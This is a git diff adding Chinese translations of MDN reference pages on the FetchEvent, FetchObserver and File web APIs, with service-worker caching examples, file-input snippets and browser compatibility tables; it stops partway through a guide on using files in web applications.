diff --git a/files/zh-cn/web/api/fetchevent/index.html b/files/zh-cn/web/api/fetchevent/index.html new file mode 100644 index 0000000000..2b33e9de41 --- /dev/null +++ b/files/zh-cn/web/api/fetchevent/index.html @@ -0,0 +1,164 @@ +--- +title: FetchEvent +slug: Web/API/FetchEvent +translation_of: Web/API/FetchEvent +--- +

{{APIRef("Service Workers API")}}{{ SeeCompatTable() }}

+ +

使用ServiceWorker技术时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope)中触发fetch事件.

+ +

使用 {{domxref("ServiceWorkerGlobalScope.onfetch")}}或addEventListener监听.
+ 该事件回调会注入FetchEvent参数.它携带了有关请求和结果响应的信息以及方法{{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} ,允许我们向受控页面提供任意响应.

+ +

构造函数

+ +
+
{{domxref("FetchEvent.FetchEvent()")}}
+
Creates a new FetchEvent object.
+
+ +

属性

+ +

Inherits properties from its ancestor, {{domxref("Event")}}.

+ +
+
{{domxref("FetchEvent.isReload")}} {{readonlyInline}}
+
Returns a {{jsxref("Boolean")}} that is true if the event was dispatched with the user's intention for the page to reload, and false otherwise. Typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not.
+
{{domxref("FetchEvent.request")}} {{readonlyInline}}
+
Returns the {{domxref("Request")}} that triggered the event handler.
+
{{domxref("FetchEvent.clientId")}} {{readonlyInline}}
+
Returns the id of the client that the current service worker is controlling.
+
+ +

Deprecated properties

+ +
+
{{domxref("FetchEvent.client")}} {{readonlyInline}}
+
Returns the {{domxref("Client")}} that the current service worker is controlling.
+
+ +

方法

+ +

Inherits methods from its parent, {{domxref("ExtendableEvent")}}.

+ +
+
{{domxref("FetchEvent.respondWith()")}}
+
Resolves by returning a {{domxref("Response")}} or a network error  to Fetch.
+
{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}
+
+

Extends the lifetime of the event.  It is intended to be called in the {{event("install")}} {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.installing", "installing")}} worker and on the {{event("active")}} {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.active", "active")}} worker.

+
+
+ +

示例

+ +

This code snippet is from the service worker fetch sample (run the fetch sample live). In an earlier part of the code,  an {{domxref("InstallEvent")}} controls caching of a number of resources. The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler then listens for the {{event("fetch")}} event. When fired, {{domxref("FetchEvent.respondWith()")}} returns a promise back to the controlled page. This promise resolves to the first matching URL request in the {{domxref("Cache")}} object. If no match is found (i.e. that resource wasn't cached in the install phase), the code fetches a response from the network.

+ +

The code also handles exceptions thrown from the {{domxref("ServiceWorkerGlobalScope.fetch()")}} operation. Note that a HTTP error response (e.g., 404) doesn't trigger an exception. It returns a normal response object that has the appropriate error code set.

+ +
self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }).catch(function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(44.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

请参见

+ + diff --git a/files/zh-cn/web/api/fetchevent/respondwith/index.html b/files/zh-cn/web/api/fetchevent/respondwith/index.html new file mode 100644 index 0000000000..0840832a0f --- /dev/null +++ b/files/zh-cn/web/api/fetchevent/respondwith/index.html @@ -0,0 +1,141 @@ +--- +title: FetchEvent.respondWith() +slug: Web/API/FetchEvent/respondWith +translation_of: Web/API/FetchEvent/respondWith +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("FetchEvent")}} 接口的 respondWith() 方法旨在包裹代码,这些代码为来自受控页面的request生成自定义的response。这些代码通过返回一个 {{domxref("Response")}} 、 network error 或者 Fetch的方式resolve。

+ +

有关跨域内容污染的渲染端安全检测与 {{domxref("Response")}} 体的透明度(或者不透明度)相关联,而不是URL。如果request是一个顶级的导航,而返回值是一个类型属性不透明的 {{domxref("Response")}}(即不透明响应体),一个 network error 将被返回给 Fetch。所有成功(非网络错误)响应的最终URL是请求的URL。

+ +

语法

+ +
FetchEvent.respondWith(
+  //Promise that resolves to a Response or a network error.
+​)
+ +

返回值

+ +

Void.

+ +

参数

+ +

任何自定义的响应生成代码。

+ +

示例

+ +

该代码片段来自 service worker fetch sample (run the fetch sample live)。 {{domxref("ServiceWorkerGlobalScope.onfetch")}} 事件处理程序侦听 {{event("fetch")}} 事件。当触发时,{{domxref("FetchEvent.respondWith", "FetchEvent.respondWith(any value)")}} 返回一个promise给受控页面。该promise在 {{domxref("Cache")}} 对象中查询第一个匹配URL请求。如果没有发现匹配项,该代码将转而从网络获取响应。

+ +

该代码也处理从 {{domxref("ServiceWorkerGlobalScope.fetch")}} 操作中抛出的异常。请注意,HTTP错误响应(例如404)不会触发异常。 它将返回具有相应错误代码集的正常响应对象。

+ +
self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }).catch(function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#fetch-event-respondwith-method', 'respondWith()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(44.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

请参见

+ + diff --git a/files/zh-cn/web/api/fetchobserver/index.html b/files/zh-cn/web/api/fetchobserver/index.html new file mode 100644 index 0000000000..9bd7699388 --- /dev/null +++ b/files/zh-cn/web/api/fetchobserver/index.html @@ -0,0 +1,145 @@ +--- +title: FetchObserver +slug: Web/API/FetchObserver +translation_of: Web/API/FetchObserver +--- +
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
+ +

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

+ +

Properties

+ +

FetchObserver接口从其父接口继承属性EventTarget

+ +
+
{{domxref("FetchObserver.state")}} {{readonlyInline}}
+
Returns a FetchState enum value indicating the current state of the fetch request.
+
+ +

Event handlers

+ +
+
{{domxref("FetchObserver.onstatechange")}}
+
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
+
{{domxref("FetchObserver.onrequestprogress")}}
+
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
+
{{domxref("FetchObserver.onresponseprogress")}}
+
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
+
+ +

Methods

+ +

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +

Examples

+ +

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

+ +

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

+ +

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

+ +

Note that these event handlers are not yet supported anywhere.

+ +
var controller = new FetchController();
+var signal = controller.signal;
+
+downloadBtn.addEventListener('click', function() {
+  fetch(url, {
+    signal,
+    observe(observer) {
+      observer.onresponseprogress = function(e) {
+        progress.max = e.total;
+        progress.value = e.loaded;
+      }
+
+      observer.onstatechange = function() {
+        if (observer.state = 'complete') {
+          reports.textContent = 'Download complete';
+        }
+      }
+    }
+  }).then( ... ) // do something with the response
+});
+
+cancelBtn.addEventListener('click', function() {
+  controller.abort();
+});
+ +

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

+ +

Specifications

+ +

Not part of a specification yet.

+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatNo}}

+
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} +

{{CompatNo}}

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/file/file/index.html b/files/zh-cn/web/api/file/file/index.html new file mode 100644 index 0000000000..efa7b30382 --- /dev/null +++ b/files/zh-cn/web/api/file/file/index.html @@ -0,0 +1,112 @@ +--- +title: File.File() +slug: Web/API/File/File +translation_of: Web/API/File/File +--- +

{{APIRef("File")}}

+ +

File() 构造器创建新的 {{domxref("File")}} 对象实例。

+ +

语法

+ +
var myFile = new File(bits, name[, options]);
+ +

参数

+ +
+
bits
+
一个包含{{jsxref("ArrayBuffer")}},{{domxref("ArrayBufferView")}},{{domxref("Blob")}},或者 {{domxref("DOMString")}} 对象的 {{jsxref("Array")}} — 或者任何这些对象的组合。这是 UTF-8 编码的文件内容。
+
name
+
{{domxref("USVString")}},表示文件名称,或者文件路径。
+
options {{optional_inline}}
+
选项对象,包含文件的可选属性。可用的选项如下: +
    +
  • type: {{domxref("DOMString")}},表示将要放到文件中的内容的 MIME 类型。默认值为 "" 。
  • +
  • lastModified: 数值,表示文件最后修改时间的 Unix 时间戳(毫秒)。默认值为 {{jsxref("Date.now()")}}。
  • +
+
+
+ +

示例

+ +
var file = new File(["foo"], "foo.txt", {
+  type: "text/plain",
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{CompatVersionUnknown}}{{CompatGeckoDesktop("7")}}10.011.56.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("7")}}{{CompatNo}}11.16.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/file/filename/index.html b/files/zh-cn/web/api/file/filename/index.html new file mode 100644 index 0000000000..4a1a83889e --- /dev/null +++ b/files/zh-cn/web/api/file/filename/index.html @@ -0,0 +1,16 @@ +--- +title: File.fileName +slug: Web/API/File/fileName +translation_of: Web/API/File/fileName +--- +
+

{{APIRef("File API") }}{{non-standard_header}}

+ +

{{deprecated_header(7.0)}}

+
+ +

概述

+ +

返回文件的名称.由于安全原因,返回的值并不包含文件路径.

+ +
该属性已经废弃.请使用{{domxref("File.name")}}来代替.
diff --git a/files/zh-cn/web/api/file/filesize/index.html b/files/zh-cn/web/api/file/filesize/index.html new file mode 100644 index 0000000000..a434d9db7c --- /dev/null +++ b/files/zh-cn/web/api/file/filesize/index.html @@ -0,0 +1,16 @@ +--- +title: File.fileSize +slug: Web/API/File/fileSize +translation_of: Web/API/File/fileSize +--- +
+

{{APIRef("File API") }}{{non-standard_header}}

+ +

{{deprecated_header(7.0)}}

+
+ +

概述

+ +

返回文件的大小,单位为字节.

+ +
该属性已经废弃,请使用{{domxref("File.size")}}来代替.
diff --git a/files/zh-cn/web/api/file/getasbinary/index.html b/files/zh-cn/web/api/file/getasbinary/index.html new file mode 100644 index 0000000000..172d8d3a41 --- /dev/null +++ b/files/zh-cn/web/api/file/getasbinary/index.html @@ -0,0 +1,42 @@ +--- +title: File.getAsBinary +slug: Web/API/File/getAsBinary +translation_of: Web/API/File/getAsBinary +--- +

{{APIRef("File API")}}

+ +

概述

+ +

将文件内容按照原始二进制形式解析成字符串并返回.

+ +

示例

+ +
// fileInput是一个HTMLInputElement元素: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files是一个FileList对象(类似于NodeList)
+var files = fileInput.files;
+
+// 一个对象,包含了允许的MIME类型
+var accept = {
+    binary : ["image/png", "image/jpeg"],
+    text :   ["text/plain", "text/css", "application/xml", "text/html"]
+};
+
+var file;
+
+for (var i = 0; i < files.length; i++) {
+    file = files[i];
+
+    // 如果文件的类型能够被检测到
+    if (file !== null) {
+        if (accept.binary.indexOf(file.type) > -1) {
+            // file是个可接受的二进制文件
+            var data = file.getAsBinary();
+        } else if (accept.text.indexOf(file.type) > -1) {
+            // file是个可接受的文本文件
+            var data = file.getAsText();
+            // 使用字符串方法处理data
+        }
+    }
+}
diff --git a/files/zh-cn/web/api/file/getasdataurl/index.html b/files/zh-cn/web/api/file/getasdataurl/index.html new file mode 100644 index 0000000000..7f72b124d0 --- /dev/null +++ b/files/zh-cn/web/api/file/getasdataurl/index.html @@ -0,0 +1,59 @@ +--- +title: File.getAsDataURL() +slug: Web/API/File/getAsDataURL +translation_of: Web/API/File/getAsDataURL +--- +
{{APIRef("File API") }}
+ +

{{non-standard_header}}

+ +

{{deprecated_header(7.0)}}

+ +

概述

+ +

getAsDataURL函数返回一个形如 data: 的 URL,这个URL包含了所涉及到的内容的编码形式。

+ +
+

注: 这个方法已经废弃,你应该使用 {{domxref("FileReader")}} 对象中的{{domxref("FileReader.readAsDataURL","readAsDataURL()")}} 方法作为替代。

+
+ +

语法

+ +
var url = instanceOfFile.getAsDataURL();
+ +

返回值

+ +

一个形如 data: 的URL字符串

+ +

范例

+ +
// fileInput 是一个 HTMLInputElement 元素: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files 是一个 FileList 对象(类似 NodeList 对象)
+var files = fileInput.files;
+
+// 允许的文件格式数组
+var accept = ["image/png"];
+
+// img 是一个 HTMLImgElement 元素: <img id="myimg">
+var img = document.getElementById("myimg");
+
+// 假设我们接收第一个所选中的文件类型
+if (accept.indexOf(files[0].mediaType) > -1) {
+  // 显示图片
+  // 和 <img src="data:image/png,<imagedata>"> 效果一样
+  img.src = files[0].getAsDataURL();
+}
+
+ +

详细说明

+ +

没有其他说明

+ +

参考文章

+ + diff --git a/files/zh-cn/web/api/file/getastext/index.html b/files/zh-cn/web/api/file/getastext/index.html new file mode 100644 index 0000000000..a71b8f254e --- /dev/null +++ b/files/zh-cn/web/api/file/getastext/index.html @@ -0,0 +1,45 @@ +--- +title: File.getAsText +slug: Web/API/File/getAsText +translation_of: Web/API/File/getAsText +--- +

{{APIRef("File API")}}

+ +

概述

+ +

按照指定的编码类型将文件内容解析成字符串并返回.

+ +

示例

+ +
// fileInput是一个HTMLInputElement元素: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files是一个FileList对象(类似NodeList)
+var files = fileInput.files;
+
+// 一个对象,包含了允许的MIME类型
+var accept = {
+    binary : ["image/png", "image/jpeg"],
+    text :   ["text/plain", "text/css", "application/xml", "text/html"]
+};
+
+var file;
+
+for (var i = 0; i < files.length; i++) {
+
+    file = files[i];
+
+    // 如果文件的类型能够被检测到
+   if (file !== null) {
+
+        if (accept.text.indexOf(file.mediaType) > -1) {
+
+            // file是个可接受的文本文件,使用utf-8编码读取
+            var data = file.getAsText("utf-8");
+            // 使用字符串方法处理data
+
+        } else if (accept.binary.indexOf(file.mediaType) > -1) {
+            // file是个可接受的二进制文件
+        }
+    }
+}
diff --git a/files/zh-cn/web/api/file/index.html b/files/zh-cn/web/api/file/index.html new file mode 100644 index 0000000000..d87a8ed3f0 --- /dev/null +++ b/files/zh-cn/web/api/file/index.html @@ -0,0 +1,101 @@ +--- +title: File +slug: Web/API/File +tags: + - API + - File API + - Reference + - Web + - 文件 API +translation_of: Web/API/File +--- +
{{APIRef}}
+ +

文件(File)接口提供有关文件的信息,并允许网页中的 JavaScript 访问其内容。

+ +

通常情况下, File 对象是来自用户在一个 {{HTMLElement("input")}} 元素上选择文件后返回的 {{domxref("FileList")}} 对象,也可以是来自由拖放操作生成的 {{domxref("DataTransfer")}} 对象,或者来自 {{domxref("HTMLCanvasElement")}} 上的 mozGetAsFile() API。在Gecko中,特权代码可以创建代表任何本地文件的File对象,而无需用户交互(有关详细信息,请参阅{{anch("注意事项")}}。

+ +

File 对象是特殊类型的 {{domxref("Blob")}},且可以用在任意的 Blob 类型的 context 中。比如说, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, 及 {{domxref("XMLHttpRequest", "", "send()")}} 都能处理 Blob File

+ +

参考 从Web应用程序使用文件 了解更多信息和例子。

+ +

构造函数

+ +
+
{{domxref("File.File", "File()")}}
+
返回一个新构建的文件对象(File)。
+
+ +

属性

+ +

File 接口也继承了 {{domxref("Blob")}} 接口的属性:

+ +
+
{{domxref("File.lastModified")}} {{readonlyinline}}
+
返回当前 File 对象所引用文件最后修改时间,自 UNIX 时间起始值(1970年1月1日 00:00:00 UTC)以来的毫秒数。
+
{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}} {{gecko_minversion_inline("15.0")}}
+
返回当前 File 对象所引用文件最后修改时间的 Date 对象。
+
{{domxref("File.name")}} {{readonlyinline}}
+
返回当前 File 对象所引用文件的名字。
+
{{domxref("File.size")}} {{readonlyinline}}
+
返回文件的大小。
+
{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}
+
返回 {{domxref("File")}} 相关的 path 或 URL。
+
+ +
+
{{domxref("File.type")}} {{readonlyinline}}
+
返回文件的 多用途互联网邮件扩展类型(MIME Type)
+
+ +

方法

+ +

File 接口没有定义任何方法,但是它从 {{domxref("Blob")}} 接口继承了以下方法:

+ +
+
{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}
+
返回一个新的 Blob 对象,它包含有源 Blob 对象中指定范围内的数据。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('File API')}}{{Spec2('File API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.File")}}

+ +

注意事项

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/file/lastmodified/index.html b/files/zh-cn/web/api/file/lastmodified/index.html new file mode 100644 index 0000000000..3f0a31de7c --- /dev/null +++ b/files/zh-cn/web/api/file/lastmodified/index.html @@ -0,0 +1,134 @@ +--- +title: File.lastModified +slug: Web/API/File/lastModified +tags: + - API + - File API + - Files +translation_of: Web/API/File/lastModified +--- +

{{APIRef("File API")}}

+ +

只读属性 File.lastModified 返回所引用文件最后修改日期, 为自 1970年1月1日0:00 以来的毫秒数。没有已知的最后修改时间则会返回当前时间。

+ +

语法

+ +
var time = instanceOfFile.lastModified;
+
+ +

+ +

自 1970年1月1日0:00 以来的毫秒数。

+ +

实例

+ +

从INPUT标签读取文件

+ +
<input type="file" multiple id="fileInput">
+
+ +
const fileInput = document.getElementById('fileInput');
+fileInput.addEventListener('change', function(event) {
+  // files is a FileList object (simliar to NodeList)
+  const files = event.target.files;
+
+  for (let i = 0; i < files.length; i++) {
+    const date = new Date(files[i].lastModified);
+    alert(files[i].name + ' has a last modified date of ' + date);
+  }
+});
+
+ +

结果:

+ +

{{ EmbedLiveSample('Reading_from_file_input', 300, 50) }}

+ +

动态创建文件

+ +

如果文件是动态创建的,可以在构造函数{{domxref("File.File()", "new File()")}} 中提供最后修改时间。如果未提供则会继承文件对象被创建时的{{jsxref("Date.now()")}} 。

+ +
var fileWithDate = new File([], 'file.bin', {
+  lastModified: new Date(2017, 1, 1),
+});
+console.log(fileWithDate.lastModified); //returns 1485903600000
+
+var fileWithoutDate = new File([], 'file.bin');
+console.log(fileWithoutDate.lastModified); //returns current time
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#file-attrs', 'lastModified')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
File.lastModified13.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("15.0")}}10.016.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
File.lastModified{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/file/lastmodifieddate/index.html b/files/zh-cn/web/api/file/lastmodifieddate/index.html new file mode 100644 index 0000000000..0e00981ba9 --- /dev/null +++ b/files/zh-cn/web/api/file/lastmodifieddate/index.html @@ -0,0 +1,22 @@ +--- +title: File.lastModifiedDate +slug: Web/API/File/lastModifiedDate +translation_of: Web/API/File/lastModifiedDate +--- +

{{APIRef("File API")}}

+ +

概述

+ +

返回当前文件的最后修改日期,如果无法获取到文件的最后修改日期,则使用当前日期来替代.

+ +

示例

+ +
// fileInput是一个HTMLInputElement元素: <input type="file" multiple id="myfileinput">
+var fileInput = document.getElementById("myfileinput");
+
+// files是一个FileList对象(类似于NodeList对象)
+var files = fileInput.files;
+
+for (var i = 0; i < files.length; i++) {
+  alert(files[i].name + " has a last modified date of " + files[i].lastModifiedDate);
+}
diff --git a/files/zh-cn/web/api/file/mozfullpath/index.html b/files/zh-cn/web/api/file/mozfullpath/index.html new file mode 100644 index 0000000000..b0ddc2929a --- /dev/null +++ b/files/zh-cn/web/api/file/mozfullpath/index.html @@ -0,0 +1,6 @@ +--- +title: File.mozFullPath +slug: Web/API/File/mozFullPath +translation_of: Web/API/File/mozFullPath +--- +

{{APIRef("File API")}}{{draft}}{{Non-standard_header}}

diff --git a/files/zh-cn/web/api/file/name/index.html b/files/zh-cn/web/api/file/name/index.html new file mode 100644 index 0000000000..a43ef5913b --- /dev/null +++ b/files/zh-cn/web/api/file/name/index.html @@ -0,0 +1,22 @@ +--- +title: File.name +slug: Web/API/File/name +translation_of: Web/API/File/name +--- +

{{APIRef("File API")}}

+ +

概述

+ +

返回文件的名称.由于安全原因,返回的值并不包含文件路径.

+ +

示例

+ +
// fileInput is a HTMLInputElement: <input type="file" multiple id="myfileinput">
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (simliar to NodeList)
+var files = fileInput.files;
+
+for (var i = 0; i < files.length; i++) {
+  alert("Filename " + files[i].name);
+}
diff --git a/files/zh-cn/web/api/file/size/index.html b/files/zh-cn/web/api/file/size/index.html new file mode 100644 index 0000000000..5ab90e8018 --- /dev/null +++ b/files/zh-cn/web/api/file/size/index.html @@ -0,0 +1,30 @@ +--- +title: File.size +slug: Web/API/File/size +translation_of: Web/API/File/size +--- +

{{APIRef("File API") }}

+ +

概述

+ +

以字节为单位返回文件的大小。

+ +

语法

+ +
var size = instanceOfFile.size
+ +

+ +

一个数

+ +

规范

+ +

不属于任何规范。

+ +

另请参见

+ + + +

 

diff --git a/files/zh-cn/web/api/file/type/index.html b/files/zh-cn/web/api/file/type/index.html new file mode 100644 index 0000000000..e0281d5078 --- /dev/null +++ b/files/zh-cn/web/api/file/type/index.html @@ -0,0 +1,114 @@ +--- +title: File.type +slug: Web/API/File/type +translation_of: Web/API/File/type +--- +

{{APIRef("File API")}}

+ +

返回 {{domxref("File")}} 对象所表示文件的媒体类型(MIME)。

+ +

语法

+ +
var name = file.type;
+ +

+ +

字符串,包含媒体类型(MIME),表示文本是什么类型,例如 PNG 图像是 "image/png"。 

+ +

示例

+ +
<input type="file" multiple onchange="showType(this)">
+
+ +
function showType(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i < files.length; i++) {
+    var name = files[i].name;
+    var type = files[i].type;
+    alert("Filename: " + name + " , Type: " + type);
+  }
+}
+ +

注: 基于当前的实现,浏览器不会实际读取文件的字节流,来判断它的媒体类型。它基于文件扩展来假设;重命名为 .txt 的 PNG 图像文件为 "text/plain" 而不是 "image/png" 。而且,file.type 仅仅对常见文件类型可靠。例如图像、文档、音频和视频。不常见的文件扩展名会返回空字符串。开发者最好不要依靠这个属性,作为唯一的验证方案。

+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-type', 'type')}}{{Spec2('File API')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
File.name13.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}10.016.0{{CompatVersionUnknown}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
File.name{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] {{webkitbug("32912")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/file/using_files_from_web_applications/index.html b/files/zh-cn/web/api/file/using_files_from_web_applications/index.html new file mode 100644 index 0000000000..8d2a0f91aa --- /dev/null +++ b/files/zh-cn/web/api/file/using_files_from_web_applications/index.html @@ -0,0 +1,536 @@ +--- +title: 在web应用程序中使用文件 +slug: Web/API/File/Using_files_from_web_applications +tags: + - File + - File API + - ajax上传 + - 文件 + - 文件上传 +translation_of: Web/API/File/Using_files_from_web_applications +--- +

{{APIRef("File API")}}

+ +

通过使用在 HTML5 中加入到 DOM 的 File API,使在web内容中让用户选择本地文件然后读取这些文件的内容成为可能。用户可以通过HTML中的 {{HTMLElement("input/file", '<input type="file">')}} 元素或者是通过拖拽来选择本地文件。

+ +

如果你想通过扩展或者其它的chrome源码浏览器(browser chrome code)使用DOM File API,是可行的;然而,需要注意有一些附加特性。详细请见 Using the DOM File API in chrome code

+ +

访问被选择的文件

+ +

考虑这段 HTML:

+ +
<input type="file" id="input">
+ +

通过 File API,我们可以访问 {{DOMxRef("FileList")}},它包含了表示用户所选文件的 {{DOMxRef("File")}} 对象

+ +

如果用户只选择了一个文件,那么只需要考虑列表中的第一个文件。

+ +

使用传统的 DOM 选择器访问一个被选择的文件:

+ +
const selectedFile = document.getElementById('input').files[0];
+
+ +

通过 change 事件访问被选择的文件

+ +

可以(但不是强制的)通过 change 事件访问 {{DOMxRef("FileList")}}:

+ +
<input type="file" id="input" onchange="handleFiles(this.files)">
+ +

当用户选择一个文件时,handleFiles() 方法会用一个 {{DOMxRef("FileList")}} 对象作为参数被调用,{{DOMxRef("FileList")}} 对象包含表示用户选择的文件的 {{DOMxRef("File")}} 对象。

+ +

如果你想让用户选择多个文件,只需在 input 元素上使用 multiple 属性:

+ +
<input type="file" id="input" multiple onchange="handleFiles(this.files)">
+ +

在这个例子中,对于每个用户选择的文件,传递给 handleFiles()方法的文件列表都包含一个对应的 {{DOMxRef("File")}} 对象。

+ +

动态添加change监听器

+ +

你需要使用 {{DOMxRef("EventTarget.addEventListener()")}} 去添加 change 事件监听器,像这样:

+ +
const inputElement = document.getElementById("input");
